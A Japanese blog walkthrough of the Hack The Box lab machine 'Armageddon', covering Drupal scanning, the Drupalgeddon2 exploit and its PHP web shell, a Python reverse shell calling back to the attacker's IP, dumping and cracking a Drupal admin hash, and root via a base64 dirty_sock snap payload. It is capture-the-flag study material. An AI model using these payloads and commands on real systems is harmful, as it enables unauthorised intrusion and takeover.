家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】Armageddon

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -T4 -P0 -sC -sV -A -p- 10.10.10.233

Starting Nmap 7.92 ( https://nmap.org )
Nmap scan report for 10.10.10.233
Host is up (0.23s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_  256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)

80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to  Armageddon |  Armageddon
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16

 

なお、droopescanではバージョンが7.56であることがわかります。

┌──(kali㉿kali)-[~/droopescan]
└─$ ./droopescan scan drupal -u http://10.10.10.233                                                         

[+] Plugins found:                                                              
    profile http://10.10.10.233/modules/profile/
    php http://10.10.10.233/modules/php/
    image http://10.10.10.233/modules/image/

[+] Themes found:
    seven http://10.10.10.233/themes/seven/
    garland http://10.10.10.233/themes/garland/
[+] Possible version(s):     7.56 [+] Possible interesting urls found:     Default changelog file - http://10.10.10.233/CHANGELOG.txt

※補足:droopescanのインストール

git clone https://github.com/droope/droopescan.git
cd droopescan
pip install -r requirements.txt

Hack The Boxでは名前がヒントになっていることがありますが、DrupalのExploitを検索すると今回のバージョンが該当する脆弱性が見つかりました。

┌──(kali㉿kali)-[~]
└─$ searchsploit  drupal

------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                             |  Path
------------------------------------------------------------------------------------------- ---------------------------------



Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution        | php/webapps/44449.rb

 

参考:CVE-2018-7600(Drupalgeddon2)

https://www.mbsd.jp/Whitepaper/CVE-2018-7600.pdf

 

アクセス取得

上記のexploitを実行してみます。

┌──(kali㉿kali)-[~]
└─$ searchsploit -m 44449 
  Exploit: Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution
      URL: https://www.exploit-db.com/exploits/44449
     Path: /usr/share/exploitdb/exploits/php/webapps/44449.rb
File Type: Ruby script, ASCII text

Copied to: /home/kali/44449.rb

┌──(kali㉿kali)-[~]
└─$ ruby 44449.rb http://10.10.10.233
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://10.10.10.233/
--------------------------------------------------------------------------------
[+] Found  : http://10.10.10.233/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.56
--------------------------------------------------------------------------------
[*] Testing: Form   (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Clean URLs
[!] Result : Clean URLs disabled (HTTP Response: 404)
[i] Isn't an issue for Drupal v7.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution   (Method: name)
[i] Payload: echo YLCIJKNM
[+] Result : YLCIJKNM
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file   (http://10.10.10.233/shell.php)
[i] Response: HTTP 404 // Size: 5
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Writing To Web Root   (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake PHP shell:   curl 'http://10.10.10.233/shell.php' -d 'c=hostname'

armageddon.htb>> whoami
apache

 

「apache」のユーザでアクセスが取得できました。

※実行時に以下のようなエラーが出る場合は必要なパッケージがインストールされていない場合があるため、「sudo gem install highline」実行で依存関係の問題を解消できるます。

highline/import (LoadError)

 

このエクスプロイトでは、ディレクトリ移動などができなかったため、Pythonでシェルを取得します。

取得したターミナルで実行
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Kaliの待ち受け ┌──(kali㉿kali)-[~] └─$ sudo nc -nvlp 4444 148 ⨯ 1 ⚙ listening on [any] 4444 ... connect to [10.10.16.5] from (UNKNOWN) [10.10.10.233] 43634 sh: no job control in this shell sh-4.2$ export PS1="[\u@\t \w]\$ " export PS1="[\u@\t \w]\$ " [apache@01:46:36 /var/www/html]$

 

特権昇格

Drupalは/sites/default/settings.phpにデータベースの接続情報等があるようです。

drupal.stackexchange.com

 

settings.phpの中身

mysqlの接続情報が見れました。
上記の情報を使って、MySQL内のユーザ情報を見てみます。

[apache@02:07:53 /var/www/html/sites/default]$ mysql -u drupaluser -pCQHEy@9M*m23gBVj  -D drupal -e 'show tables;' 

<-u drupaluser -pCQHEy@9M*m23gBVj  -D drupal -e 'show tables;'               

Tables_in_drupal
actions
authmap
batch
block
block_custom
block_node_type
block_role
blocked_ips
cache
cache_block
cache_bootstrap
cache_field
cache_filter
cache_form
cache_image
cache_menu
cache_page
cache_path
comment
date_format_locale
date_format_type
date_formats
field_config
field_config_instance
field_data_body
field_data_comment_body
field_data_field_image
field_data_field_tags
field_revision_body
field_revision_comment_body
field_revision_field_image
field_revision_field_tags
file_managed
file_usage
filter
filter_format
flood
history
image_effects
image_styles
menu_custom
menu_links
menu_router
node
node_access
node_comment_statistics
node_revision
node_type
queue
rdf_mapping
registry
registry_file
role
role_permission
search_dataset
search_index
search_node_links
search_total
semaphore
sequences
sessions
shortcut_set
shortcut_set_users
system
taxonomy_index
taxonomy_term_data
taxonomy_term_hierarchy
taxonomy_vocabulary
url_alias
users
users_roles
variable
watchdog

さらに「users」の中身を見てみると、「brucetherealadmin」というユーザがいることが確認できました。

[apache@02:21:11 /var/www/html/sites/default]$ mysql -u drupaluser -pCQHEy@9M*m23gBVj  -D drupal -e 'select * from users;'

<-u drupaluser -pCQHEy@9M*m23gBVj  -D drupal -e 'select * from users;'       

uid     name    pass    mail    theme   signature       signature_format        created access  login   status  timezone    language picture init    data

0                                               NULL    0       0       0       0       NULL            0               NULL

1       brucetherealadmin       $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt admin@armageddon.eu                 filtered_html    1606998756      1607077194      1607076276      1       Europe/London           0       admin@armageddon.eu a:1:{s:7:"overlay";i:1;}

このユーザはローカルにも存在するようです。

[apache@02:29:40 /home]$ ls ./brucetherealadmin
ls ./brucetherealadmin
ls: cannot open directory ./brucetherealadmin: Permission denied

[apache@02:35:55 /home]$ ls /home/bruce
ls /home/bruce
ls: cannot access /home/bruce: No such file or directory 

brucetherealadminのパスワードを解析してみます。

┌──(kali㉿kali)-[~]
└─$ john --wordlist=./rockyou.txt pwd                                                                                  
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

booboo           (?)     

1g 0:00:00:00 DONE (2022-08-22 23:26) 2.127g/s 510.6p/s 510.6c/s 510.6C/s tiffany..chris
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

※補足:hashcatの場合

sudo hashcat -m 7900 pwd ./rockyou.txt --force

「brucetherealadmin」のパスワードが「booboo」であることがわかりました。

このアカウント情報でSSH接続してみます。

brucetherealadminでのアクセス結果

上記ユーザはsnapコマンドを実行できるようです。

「snap privilege escalation」等で検索してみると「dirty_sock」という情報が見つかります。

github.com

上記のコードはpython3で動作するもので、そのままでは使用できません。

そのためコードの中身を一部抜き取って使用してみます。

[brucetherealadmin@armageddon ~]$ python --version
Python 2.7.5

[brucetherealadmin@armageddon ~]$ python -c print'"aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw"+ "A" * 4256 + "=="' | base64 --decode > exploit.snap

[brucetherealadmin@armageddon ~]$ ls
army.snap  exploit.snap  user.txt  xxxx_1.0_all.snap

[brucetherealadmin@armageddon ~]$ sudo /usr/bin/snap install --dangerous --devmode exploit.snap

dirty-sock 0.1 installed

[brucetherealadmin@armageddon ~]$ tail /etc/passwd
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash
dirty_sock:x:1001:1001::/home/dirty_sock:/bin/bash

[brucetherealadmin@armageddon ~]$ su dirty_sock
パスワード:

[dirty_sock@armageddon brucetherealadmin]$ sudo -i
あなたはシステム管理者から通常の講習を受けたはずです。
これは通常、以下の3点に要約されます:
    #1) 他人のプライバシーを尊重すること。
    #2) タイプする前に考えること。
    #3) 大いなる力には大いなる責任が伴うこと。
[sudo] dirty_sock のパスワード:

[root@armageddon ~]# 

rootが取得できました。

※rootまで取得をやってみましたが、上記の特権昇格の部分は自分の中で整理しきれていません。。。

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

www.hackingarticles.in

infosecwriteups.com

captainroot.com